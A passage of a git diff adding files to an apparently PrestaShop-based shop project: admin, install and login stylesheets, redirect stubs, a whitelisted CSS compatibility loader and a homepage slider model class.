solid #8E8E8E; + margin-top: 20px; + font-size: 8pt; +} + +#table_info_news h5{ + background-color: #7Ab51D; + color: #FFFFFF; + margin: 0; + line-height: 29px; + padding-left: 15px; + font-size: 12pt; +} + +#table_info_news h5 a{ + color: #FFFFFF; + float: right; + font-size: 8pt; + text-decoration: underline; + font-weight: normal; + padding-right: 10px; +} + +#table_info_news ul{ + list-style: none outside none; + padding: 0; + margin: 0; +} + +#block_news_first{ + background-color: #E1EBD2; + padding: 5px; +} +#block_news_first a{ + color: #812143; + font-weight: bold; + text-decoration: underline; + line-height: 18px; +} + +#block_news_first p{ + line-height: 12px; + padding-left: 10px; + margin: 0; +} + +#block_news_first p a{ + color: #812143; + font-weight: bold; + margin-right: 8px; + margin-left: 200px; +} + +#table_info_news ul li a{ + line-height: 25px; + padding-left: 10px; + margin: 0; + text-decoration: underline; +} + +.block_news_odd{ + background-color: #DEDEDE; + line-height: 25px; +} + +#block_news_last{ + background-color: #EFEFEF; +} + +#see_newsletter{ + margin-left: 5px; + background: url(../img/admin/email.gif) no-repeat left center; +} + +#follow_on_facebook{ + margin-left: 5px; + background: url(../img/admin/facebook.jpg) no-repeat left center; +} + +#follow_on_twitter{ + margin-left: 5px; + background: url(../img/admin/twitter.jpg) no-repeat left center; +} + +#block_news_last ul li a{ + color: #812143; + padding-left: 20px; +} + +.viewed{ + background: url('../img/admin/enabled.gif') no-repeat left center; +} + +.clear{ + clear: both; +} + +a.blue { + color:blue; +} + +a.blue:hover { + color:#0000AA; +} + + +/* help cluetip */ +.cluetip-help-button { + width: auto; + text-align:left; + background-color:white; + padding:10px; + border:1px solid gray; + background:#F1F2F4 url(../img/admin/block_bg.jpg) repeat-x scroll left bottom; + opacity:0.75; +} + +.ac_results ul { + list-style: none; + text-align: left; + background: white; + padding: 0; +} +.ac_results li { + padding: 5px; +} +.ac_even { + background: #EFEFEF; +} +.ac_over { + background: #ECEADE; + color:#585A69; +} +.button-translate { + padding:0px; + margin : 0 0 0 10px; + height:15px; + width:15px; + cursor:pointer; +} + +#importList label{ + float: none; +} + +#importList ul{ + list-style-type: none; +} + +.multishop_config{ + position: absolute; + margin-left: -10px; +} + +.multishop_config div{ + background-color: #DFFAD3; + border: 1px solid #DFD5C3; + display: none; + margin-top: 2px; + padding: 5px; + width: 200px; +} + +.multishop_product_checkbox{ + position: absolute; +} + +a.action_module_delete { + color: #CB1C00; + text-decoration: underline; + margin-right: 30px; +} + +.select_theme{ + text-align: center; + width: 220px; + float: left; + margin: 10px; + padding: 10px; + cursor: pointer; + border: 1px solid #FFFFF0; + color: #000000; + font-weight: bold; +} + +.select_theme_choice{ + background-color: #FAEEC2; + border: 1px dotted #000000; +} + +fieldset .optionsDescription, fieldset p.description, .info{ + background: url("../img/admin/icon-info.png") no-repeat scroll 6px 6px #BDE5F8; + border: 1px solid #00529B; + color: #00529B; + font-family: Arial,Verdana,Helvetica,sans-serif; + font-size: 12px; + margin-bottom: 15px; + padding: 10px 5px 5px 40px; + border-radius:3px; + min-height:32px; +} + +fieldset .optionsDescription ul li { + color: #00529B; + margin:0; + padding:0; +} + +p.product_description { +font-family:Georgia, Arial, 'sans-serif'; + font-style:italic; + clear: both; + text-align: left; + color:#7F7F7F; + text-align:right; +} + +p.preference_description{ + font-family:Georgia, Arial, 'sans-serif'; + font-style:italic; + clear: both; + text-align: left; + width: 500px; + color:#7F7F7F; + font-size:11px; +} + +p.preference_description .light-warning { + color: red; + font-weight: bold; +} + +.preference_default_multishop{ + float: left; + padding-right: 5px; + margin-top: 4px; +} + +.multishop_warning { + background-image: url("../img/admin/warning.gif"); + background-repeat: no-repeat; + color: #FE2744; + font-weight: bold; + padding-left: 22px; + padding-top: 1px; +} + +.warning_mod_rewrite{ + background: #FEEFB3 url(../img/admin/warning.gif) 2px 0 no-repeat; + color: #9E6014; + font-weight: bold; + padding-left: 22px; + padding-top: 2px; + padding-bottom: 2px; + padding-right: 5px; + height:20px; + line-height: 20px; +} + + +label.conf_title{ + width: 235px; +} + +.isDisabled{ +} + +input.disable_me[disabled=disabled]{ + background-color: red; +} + +div.progressBarImage +{ + float: left; + height: 15px; + margin-left: 3px; + width: 233px; +} +#showCounter +{ + font-weight: bold; + float: left; + margin-left: 25px; + margin-top: 1px; +} +#listImage +{ + list-style: none outside none; + margin-bottom: 10px; + margin-top: 10px; +} + +#listImage li +{ + clear: both; + float: left; + font-weight: bold; + margin-top: 10px; +} + +#listImage li p.errorImg +{ + background: none repeat scroll 0 0 #FAE2E3; + border: 1px solid #EC9B9B; + clear: both; + margin-bottom: 18px; + padding: 6px; + display: none; +} +#progressBarImage div.ui-progressbar-value +{ + height: 100%; +} + +#createImageDescription ul.smallImage li{ + list-style-type: none; + display: block; + text-align: center; + float: left; + margin-bottom:15px; + margin-right:20px; +} +#menu .submenu_size .submenu { display: none; position:absolute} +#menu .submenu_size:hover > .submenu { display: block; } +.submenu li{float:none;clear:left;} + +#fancybox-content { text-align:left;} + +/*customer_form*/ +#customers { display:block; position:relative;} +#customer_form #fieldset_0 { text-align:left;} +#customer_part #customers ul { + float:left; +} +#customer_part #customers ul li { + background-color:#fff; + display:inline; + list-style-type: none; + float:left; + margin:10px; + border:1px solid #ccc; + padding:5px; + width:200px; + border-radius:3px; + } +#customer_part #customers ul li div.customerName { background-color:#eee; font-size:14px; text-shadow:0 1px 0 #fff; padding:2px; } +#customer_part #customers ul li div.customerName a { font-weight:bold;} +#customer_part #customers ul li div.customerName .customerBirthday { font-size:12px;float:right;} +#customer_part #customers ul li div.customerEmail a { font-size:12px; color:#666666;display: block; line-height: 20px;} +#customer_part #customers ul li a.id_customer.button {float:right;} +#customer_part #customers ul li .id_customer {} + +#products_part #products_found {display:none;} +#vouchers_part #voucher_list {display:none;} +#vouchers_part #vouchers_err {display:none;} + +/*address_part*/ +#address_part #address_delivery, #address_part #address_invoice { width:400px; float:left;} +#address_part #address_delivery h3, #address_part #address_invoice h3 { margin-top:0;} +#address_part #address_delivery {border-right:1px solid #cccccc;} +#address_part #address_invoice { border-left: 1px solid #ffffff; padding-left:20px;} +#address_part #address_delivery_detail, #address_invoice #address_invoice_detail { font-size:12px; line-height:18px; color:#585A69; padding:10px 0;} +#address_part a#new_address {clear:both; float:left; margin:20px 0;} + + +/*summary_part*/ +#summary_part b { float:left; display:block; border:1px solid red;} +#summary_part #total_products, +#summary_part #total_vouchers, +#summary_part #total_shipping, +#summary_part #total_without_taxes, +#summary_part #total_taxes, +#summary_part #total_with_taxes { font-size:20px; font-weight:normal; color:#000;} +#summary_part .currency_sign { font-weight:normal;} +#summary_part .order_message_right { float:left; border-left: 1px solid #ccc; } + +/*cart_summary*/ +#cart_summary { float:left; border-right: 1px solid #fff; width:400px;} +#cart_summary ul li { float:left; position: relative; width:185px; margin-bottom:20px; padding:5px;} +#cart_summary ul li .total_cart { display:block; font-size:12px;} + + +#loader_container { + display:none; + z-index: 100; + position: absolute; + top: 0; + left: 0; + height: 100%; + width: 100%; + background:transparent url('../img/bg_loader.png') repeat 0 0; +} +#loader { + display:none; + margin: 0 auto; + height:24px; + width:24px; + color:#fff; + background:url(../img/loader.gif); +} +ul.connectedSortable +{ + padding-left: 0; +} +ul.connectedSortable li.module_list { + margin: 0 5px 5px 5px; + padding: 5px; + font-size:1.2em; + border:1px solid #CCC; + background:#F6F6F6; + font-weight:bold; + color:#1C94C4; + outline:none; +} + +.input-error +{ + color:#D8000C; + font-size:12px; + font-weight:normal; + margin:0 0 10px 0; + line-height:20px; + padding:10px 15px; + display:none; +} + +/* Customer Thread */ +#CustomerThreadContacts{ + +} + +#CustomerThreadContacts div.blocSAV { + float:left; + margin:0 10px 10px 0; + min-height:178px; + width:24%; + border:1px solid #ccc; + background-color:#f8f8f8; +} + +#MeaningStatus { +float:left; +} + +#CustomerThreadContacts p { + font-family: Georgia,Arial, Helvetica; + font-style:italic; + overflow:hidden; + font-size:13px; + line-height:18px; + height:45px; + margin:0; + padding:10px; + border-top:1px solid #fff; + border-bottom:1px solid #ccc; + text-align:center; + margin:0 auto; +} + +#CustomerThreadContacts .message-mail { + display:block; + text-align:center; + padding:25px 10px; + border-top:1px solid #fff; + margin: 0 auto; +} + +#CustomerThreadContacts h3 { + font-size:16px; + font-weight:normal; + overflow:hidden; + line-height:25px; + height:25px; + margin:0; + padding:5px 10px; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + border-bottom: 1px solid #ccc; +} +#CustomerThreadContacts a { + padding:0 5px; + display:block; + height:23px; + line-height:23px; + border:0; +} +#CustomerThreadContacts h4 { + margin:0; + line-height:23px; + height:23px; + border:0; + padding:0 5px; +} +#CustomerThreadContacts div#CustomerService { + float:left; + background:none; + border:none; + width:24%; +} +#CustomerThreadContacts div#CustomerService table.table { +width:100%; + +} +#CustomerThreadContacts div#CustomerService table.table thead{ + margin:0; + line-height:23px; + height:23px; + border:0; + padding:0 5px; + font-weight:bold; + text-align:center; +} +#CustomerThreadContacts div#CustomerService table.table tr td span{ + font-weight:bold; + font-size:14px; +} + +#CustomerThreadContacts div#MeaningStatus{ + float:left; +} +#ChangeStatus{ + float:right; + margin:20px 20px 0 0; + right:10px; +} +#CustomerService table { +border-collapse: collapse; +} + +#CustomerService .table tr.alt_row { + background-color: #EFF4F9; +} + +#CustomerService .table tr td { + border:none; +} + +/* ScrollTop */ +div#scrollTop a{ + display:none; + background:url('../img/admin/scroll_top.png'); + width:40px; + height:40px; + position:fixed; + bottom:30px; + right:30px; + border-radius:10px; + opacity:0.2; +} +div#scrollTop a:hover{ + opacity:0.8; +} + +.loader{ + display:none; + margin: 450px 0 0 440px; + height:128px; + width:128px; + color:#fff; + background-image:url(../img/loader.gif); +} + +.category-filter { + background-color:#dde0e9; + padding: 5px 10px; + min-height:20px; +} +.category-filter span { float:left; line-height: 18px; color:#585A69;} +.category-filter a { + color:#585A69; + float:left; + line-height:20px; + padding:0 5px; +} + +.category-filter #filternameForm { float:left; margin-left:10px; color:#585A69;} + +.current-edit { background-color: #E9F1F6 } + +.edit-note { width: 98%; height: 100px; } + +.payment_information { background-color: #BDE5F8 } + + +/*conditions*/ +#conditions .condition_group {} +#conditions .condition_separator { font-size:16px; margin:10px 0;} +#conditions .condition_group h3 { margin:0 0 10px 0;} +#conditions a#add_condition_group { font-size:16px;} +#conditions #condition_list {} +#conditions #condition_list .row { position:relative; height:25px; padding:10px 0; background-color:transparent;} +#conditions #condition_list h4 { margin:0 0 10px 0;} +#conditions #condition_list select { float:left; margin-right:10px; width: 200px;} +#conditions #condition_list a { float:left;} + +/*commandes*/ +.container-command {width:100%} +.container-command-top-spacing {margin-top: 25px;} +.bloc-command {background-color:#EBEDF4; border:1px solid #CCCED7; margin-bottom:10px;} +.button-command {float:right; padding:10px;} +.button-command-prev-next {float:right;margin-bottom: 10px; margin-right: 10px} +/*history status*/ +.history-status { border-radius:0;} +.history-status tr th { + background: #eee none; +} +.metadata-command {} +.metadata-command dl { + float:left; + margin-left:10px; +} +.metadata-command dl dt, .metadata-command dl dd { + color:#585A69; + float:left; + margin:0; + padding-right:10px; +} +.metadata-command dl dd { + font-weight:bold; +} + + +#content #customers .warn {margin:10px 0 0 0;} +#customers li {background-color:#ABDFF7;border:1px solid #ccc;float:left;margin:5px;padding:5px;} +#customers li .button {display:block;margin-top:5px;} + + +/*container-customer*/ +#container-customer { + background-color:#EBEDF4; + border:1px solid #CCCED7; + color: #585A69; + padding:10px; +} + +#container-customer h2 { +color:#000; +font-weight:normal; +margin:0; +} + +#container-customer h2 img { +margin-right:5px; +} + +#container-customer .info-customer-left { + float:left; + width:47%; + min-height:120px; + border-right:1px solid #fff; + padding-right:15px; +} + +#container-customer .info-customer-right { + float:left; + width:49%; + border-left:1px solid #ccc; + min-height:120px; + padding-left:15px; + +} + +#container-customer .info-customer-left h2, +#container-customer .info-customer-right h2 { +margin-bottom:7px; +} + +#container-customer a { + +} + +/*infoCustomer*/ +.infoCustomer {} +.infoCustomer dl { margin: 7px 0;} +.infoCustomer dl dt {font-weight:bold; float:left; padding-right:5px;} +.infoCustomer dl dd { margin:0; padding:0;} + +/*container-carts*/ +#container-carts { background-color:#EBEDF4; border:1px solid #CCCED7; padding:10px;} + +/*cart_rule_form*/ +#cart_rule_form {} +#cart_rule_form h4 { font-size:18px; font-weight:normal; margin-top:0;} + +#ajax_running { + display: none; + position: fixed; + top: 0; + left: 40%; + z-index: 10000; + background-color: #FFF1A8; + border: 1px solid #FFD96F; + color: #000; + font-weight: bold; + font-size: 14px; + padding: 5px 20px; + border-radius: 0 0 3px 3px; + -webkit-border-bottom-left-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + width: 300px; +} + + +#container_category_tree { + border: 1px solid #ccc; + border-radius: 3px; + padding: 5px; +} + +#container_category_tree a{ + font-weight: bold; +} + +#container_category_tree a input{ + margin-right: 3px; +} + + +#block_tips {float:right; width:48.1%} +#block_discover {float:left; width:48.1%} +#block_partner_tips {float:right; width:48.1%} +.row-news { width:100%;float:left;} +#table_info_news { border:1px solid #ccc;} + +.multishop-left{ + float: left; + width: 250px; + border: 1px solid #CCCED7; + background-color: #F9F9F9; + overflow: auto; + padding: 3px; + max-height: 400px; + min-height: 200px; + border-radius:3px; + -moz-border-radius:3px; + -webkit-border-radius:3px; +} + + .multishop-left .multishop-title{ + border-bottom: 1px solid #CCCED7; + color: #333333; + background-color: #F0F0F0; + font-size: 14px; + font-weight: bold; + text-align: left; + padding: 2px; + width: 247px; + } + +.multishop-right{ + margin-left: 270px; +} + +#container-multishop { + background-color:#EBEDF4; + border:1px solid #CCCED7; + color: #585A69; + padding:10px; +} + +#multishop-tree{ + font-size: 13px; + margin-top: 3px; + background-color: #F9F9F9; +} + +#multishop-tree a.selected{ + background-color: #49B2FF; + padding: 3px; + color: #FFFFFF; +} + +.datepicker{ + position: relative; + z-index:20; +} + +#BoxUseSpecialSyntax{ + position:fixed; + z-index:10; + width:100%; + bottom:50px; + display:none; +} + +#BoxUseSpecialSyntax .warn{ + margin:0 auto; + width:500px; +} + +#BoxUseSpecialSyntax ul{ + margin-left:30px; + list-style-type:disc; +} + +.id_customization .customization_field { + min-width: 205px; + width: 205px; +} + +.editFormElem { + margin: 3px; +} + .editFormElem label { + float: left; + position: relative; + width: 60px; + } + .editFormElem input { + word-wrap: break-word; + -ms-word-break: break-word; + word-break: break-word; + width: 400px; + height: 100px; + } diff --git a/css/csshover.htc.htc b/css/csshover.htc.htc new file mode 100755 index 0000000..14f8857 --- /dev/null +++ b/css/csshover.htc.htc @@ -0,0 +1,120 @@ + + \ No newline at end of file diff --git a/css/index.php b/css/index.php new file mode 100755 index 0000000..daf9170 --- /dev/null +++ b/css/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/css/install.css b/css/install.css new file mode 100755 index 0000000..e29531b --- /dev/null +++ b/css/install.css @@ -0,0 +1,349 @@ +/* POS CSS Install */ + +body { + height: 100%; + font-family: Arial, Verdana, sans-serif; + font-size: 13px; + font-weight: bold; + margin: 0; + padding: 0; + text-align: center; + background-color: #FFF; + color: #333; +} + +a { + color: #C73178; + text-decoration: none; + font-weight: normal; +} + +a:hover { + color: #333; + font-weight: normal; + text-decoration: underline; +} + +img { + margin-right: 10px; +} + +a img { + border: 0px; +} + +form { + margin: 0; + padding: 0; +} + +input, select { + font-family: Arial, Verdana, sans-serif; + font-weight: normal; + font-size: 12px; + margin: 2px 0 2px 0; +} + +#required { + color: #C73178; +} + + +/* STRUCTURE */ + +#page { + width: 100%; +} + +#container { + margin-top: 10px; + padding: 10px 0 0 0; + background: #FFF; +} + +#container-inner { + width: 940px; + margin: 0 auto 0 auto; + padding: 0; + text-align: left; +} + +#content { + float: right; + width: 697px; + border-left: 1px solid #65B821; + min-height: 380px; + margin: 0 0 20px 0; + padding: 5px 14px; +} + +#sidebar { + float: left; + width: 200px; + padding: 5px 0 0 0; +} + + +/* HEADER */ + +#header { + background-color: #DFF5CD; +} + +#header table{ + margin-left: 240px; + +} + +#frame { + color: #666; + width: 860px; + text-align: right; + padding-top: 50px; + padding-right: 10px; + padding-left: 20px; + margin-top: 30px; + float: right; +} + +#frame a{ + color: #666; + text-decoration: none; + font-weight: bold; +} + +#frame a:hover { + color: #333; + font-weight: bold; + text-decoration: underline; +} + +#spanTitle { + margin-top: -5px; + font-size: 23px; + float: left; + color: #555; +} + + +/* WELCOME */ + +#welcome { + margin-bottom: 2em; +} + +#welcome h3 { + font-size: 115%; +} + +#welcome p { + margin: 1.5em 180px 1em 0; + line-height: 1.5em; +} + +#welcome ul { + margin: 0 190px 0 20px; + padding: 0; + list-style: none; +} + +#welcome ul li { + margin: 0 0 10px 0; + padding: 0 0 0 26px; + font-size: 110%; + line-height: 1.3em; + font-weight: normal; + color: #666; + background: url(../img/install/icon-checksm_gris.gif) no-repeat 0 4px; +} + +/* CONTENT */ + +#content h1 { + margin: 0 0 12px 0; + padding: 0; + border-bottom: 1.5px solid #65B821; + color: #666; + font-size: 1.5em; +} + +#content h1 .faint { + background: #65B821; + width: inherit; + margin: 0 0.4em 0 0; + padding: 0 0.2em 0 0.2em; + color: #fff; + text-align: center; +} + +#content h2 { + color: #C73178; + font-size: 1.3em; + border-bottom: 2px solid #F4D7E4; + margin: 12px 0 12px 0; +} + +#content h3 { + margin: 0; + color: #C73178; +} + +/* TABLE */ + +.table { + width: 450px; + margin: 0 0 20px 0; + padding: 0; + border: 1px solid #F4D7E4; + border-collapse: collapse; +} + +.table th, .table td { + margin: 0; + padding: 5px; + border-bottom: 1px inset #F0EADA; +} + +.table td { + text-align: center; +} + + +/* FORM TABLE */ + +table.form-table { + width: 550px; + margin-top: 0.65em; + padding: 0; + border-collapse: collapse; +} + +table.form-table th, +table.form-table td { + margin: 0; + padding: 8px; + border-bottom: 1px dotted #F4D7E4; +} + +table.form-table th { + width: 135px; + padding-top: 12px; + text-align: right; + vertical-align: top; + color: #333; +} + +table.form-table td p.note { + margin: 0; + padding: 2px 0 2px 0; + font-family: "Lucida Grande", Arial, Verdana, sans-serif; + font-size: 90%; + font-weight: normal; + color: #666; +} + +/* HELP BOXES : HINT TO HIDE AND REVEAL PASSWORDS */ + +.reveal { + height: 50px; + font-size: 12px; + color: #333; + padding: 9px 10px 2px 10px; +} + +/* ERROR */ + +#content div.alert { + width: 450px; + margin: 15px 0; + padding: 10px 15px; + border-top : 1px dotted #666; + border-bottom: 1px dotted #666; + background: #F9E3EE; +} + +#content div.error h4 { + margin: 0; + padding: 0 0 0 20px; + font-family: "Lucida Grande", Verdana, sans-serif; + font-size: 110%; + text-transform: none; + font-weight: normal; + letter-spacing: 0; + text-align: left; + color: #C73178; + border: none; + background: url(../img/install/warning.gif) no-repeat 0 0; +} + +#content div.error ol { + margin: 15px 0 0 0; + padding-bottom: 0; + color: #C73178; + font-weight: normal; +} + + +/* WAITING */ + +#waiting { + margin: 10px; + display: none; + width: 230px; + background: #FFF; + border: 1px #666 dotted; + padding: 10px; +} + + +/* INFOS */ + +#infos { + width : 320px; + margin-left: 20px; + border: 1px solid #65B821; + background-color: #DFF5CD; + font-weight: normal; + padding: 10px; +} + + +/* SIDEBAR */ + +#sidebar div { + vertical-align: middle; + margin: auto 0 5px 0; + line-height: 27px; + font-size: 0.9em; + font-weight: bold; + color: #666; +} + +#sidebar .number { + line-height: 60px; + float: left; + height: 62px; + padding: 5px; + font-size: 4.0em; +} + +#sidebar .step { + float: right; + width: 140px; + height: 60px; + padding: 5px; + border: 1px solid #F4D7E4; +} + + +/* FOOTER */ + +#footer { + clear: both; + margin: 0; + padding: 8px 5px 20px 5px; + border-top: 1px solid #F4D7E4; + text-align: center; + font-size: 90%; + line-height: 1em; +} \ No newline at end of file diff --git a/css/login.css b/css/login.css new file mode 100755 index 0000000..29fcd71 --- /dev/null +++ b/css/login.css @@ -0,0 +1,175 @@ +body { + margin: 0; + padding: 0; + font-family: Arial; + font-size: 13px; + color: #333; + text-align: center; + background-image: url('../img/admin/bg-admin.jpg'); + background-position: center center; +} + +h1 { + color: #902F52; + font-size: 20pt; + padding: 15px 10px 10px 30px; + margin: 0; + overflow: hidden; +} + +h2 a { + color: #eee; + font-size: 11px; + margin: 0; + text-shadow: 0 -1px 0 #000; + text-decoration:none; +} + +h2 a:hover { + color: #eee; + text-decoration: underline; + margin: 0; +} + +a { + color: #902d50; + text-decoration: underline; +} + +a:hover { + color: #902d50; + text-decoration: none; +} + +input, textarea, option, select { + color: #000; + font-family: Arial; + font-size: 16px; + margin: 0; + padding: 0; +} + +input:focus, textarea:focus { + border: 1px solid #3293D6; + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3) inset; +} + +/* CONTENT */ +#container { + width: 464px; + margin: 12% auto 1em; + padding: 0; +} + +#login { + color: #383838; + text-align: left; + font-weight: bold; + background-color:#F5F5F5; + border-radius:9px; + box-shadow: 0 1px 30px #333333; +} + +#login h1 { + border-bottom:1px solid #ccc; + color:#333; + text-shadow:0 1px 0 #fff; +} + +#login a { color:#3A6EA7; } +#login label { text-shadow: 0 1px 0 #fff; } +#login form { + border-top:1px solid #fff; + margin: 0; + padding: 30px; +} + +#login .submit { + margin: 1em 1px; + padding: 0; + display: block; + float:left; +} + +#login .submit input { + padding: 4px 10px; +} + +/* ERROR */ +.error, #error { + margin: 0; + padding: 10px 15px; + border: 1px solid #EC9B9B; + background-color: #FAE2E3; + text-align: left; + border-radius:9px; + box-shadow: 0 1px 30px #333333; +} + +#error ol { + margin: 15px 0 0 0; + padding-bottom: 0; +} + +#error li { + _margin-left: 45px; + font-family: Georgia; + font-size: 13px; + font-style: italic; +} + +#error h3 { + margin: 0; + padding: 5px 0 12px 30px; + background: url(../img/admin/icon-cancel.png) no-repeat 0 0; + font-size: 16px; + text-indent:14px; +} + +/* CLASS */ + +.input { + border:1px solid #ccc; + width: 365px; + margin:0; + padding: 6px 4px 6px 35px; +} + +.email_field { background: #fff url(../img/admin/bg_form_email.png) no-repeat scroll 10px 8px; } +.password_field { background: #fff url(../img/admin/bg_form_password.png) no-repeat scroll 10px 8px; } + +.button { + background: -moz-linear-gradient(center top , #F9F9F9, #E3E3E3) repeat scroll 0 0 transparent; + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#E3E3E3)) repeat scroll 0 0 transparent; + border-color: #CCCCCC #BBBBBB #A0A0A0; + border-left: 1px solid #BBBBBB; + border-radius: 3px 3px 3px 3px; + border-right: 1px solid #BBBBBB; + border-style: solid; + border-width: 1px; + color: #000000; + margin: 0; + outline: medium none; + padding: 3px 8px; +} + +.button:hover { + border:1px solid #939393; + cursor:pointer; +} + +.clear { clear: both; } +.hide { display: none; } +.bold { font-weight: bold; } + +.field { margin-bottom: 20px; } + +.fl { float: left; } +.fr { float: right; } + +.no-margin { margin: 0; } +.margin-right-5 { margin-right: 5px; } + +.padding-30 { padding: 30px; } + +.center { text-align: center; } diff --git a/css/retro-compat.css.php b/css/retro-compat.css.php new file mode 100755 index 0000000..2168319 --- /dev/null +++ b/css/retro-compat.css.php @@ -0,0 +1,73 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('content-type: text/css'); +$css_folder = __DIR__.'/../js/jquery/'; + +$css_files = array( + 'datepicker.css' => + array('new_file' => $css_folder.'ui/themes/base/jquery.ui.datepicker.css'), + 'fileuploader.css' => + array('new_file' => $css_folder.'plugins/ajaxfileupload/jquery.ajaxfileupload.css'), + 'jquery.autocomplete.css' => + array('new_file' => $css_folder.'plugins/autocomplete/jquery.autocomplete.css'), + 'jquery.cluetip.css' => + array('new_file' => $css_folder.'plugins/cluetip/jquery.cluetip.css'), + 'jquery.fancybox-1.3.4.css' => + array('new_file' => $css_folder.'plugins/fancybox/jquery.fancybox.css'), + 'jquery.jgrowl.css'=> + array('new_file' => $css_folder.'plugins/jgrowl/jquery.jgrowl.css'), + 'jquery.treeview.css' => + array('new_file' => $css_folder.'plugins/treeview-categories/jquery.treeview-categories.css'), + 'jqzoom.css' => + array('new_file' => $css_folder.'plugins/jqzoom/jquery.jqzoom.css'), + 'tabpane.css' => + array('new_file' => $css_folder.'plugins/tabpane/jquery.tabpane.css'), + 'thickbox.css' => + array('new_file' => $css_folder.'plugins/thickbox/jquery.thickbox.css'), + 'jquery.fancybox.css' => + array('new_file' => $css_folder.'plugins/fancybox/jquery.fancybox.css'), + 'jquery.autocomplete.css' => + array('new_file' => $css_folder.'plugins/autocomplete/jquery.autocomplete.css') + ); + + + + +$file = $_GET['file']; + +if (!array_key_exists($file, $css_files)) //check if file is a real prestashop native CSS + die('file_not_found'); +else + $html = file_get_contents($css_files[$file]['new_file']); + +if ($file == 'datepicker.css') +{ + $html = file_get_contents($css_folder.'ui/themes/base/jquery.ui.theme.css'); + $html .= file_get_contents($css_folder.'ui/themes/base/jquery.ui.datepicker.css'); + $html = str_replace('url(images', 'url(../ui/themes/base/images', $html); +} +echo $html ; diff --git a/desinscription.php b/desinscription.php new file mode 100755 index 0000000..d19a506 --- /dev/null +++ b/desinscription.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=desinscription'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/devspehomeblocks/HomeSlide.php b/devspehomeblocks/HomeSlide.php new file mode 100755 index 0000000..66f2fa3 --- /dev/null +++ b/devspehomeblocks/HomeSlide.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HomeSlide extends ObjectModel +{ + public $title; + public $subtitle; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'homeslider_slides', + 'primary' => 'id_homeslider_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => true, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'homeslider` (`id_shop`, `id_homeslider_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'homeslider` + WHERE `id_homeslider_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'homeslider_slides` hss, `'._DB_PREFIX_.'homeslider` hs + WHERE hss.`id_homeslider_slides` = hs.`id_homeslider_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_homeslider_slides` as id_slide + FROM `'._DB_PREFIX_.'homeslider_slides` hss + LEFT JOIN `'._DB_PREFIX_.'homeslider` hs ON (hss.`id_homeslider_slides` = hs.`id_homeslider_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as 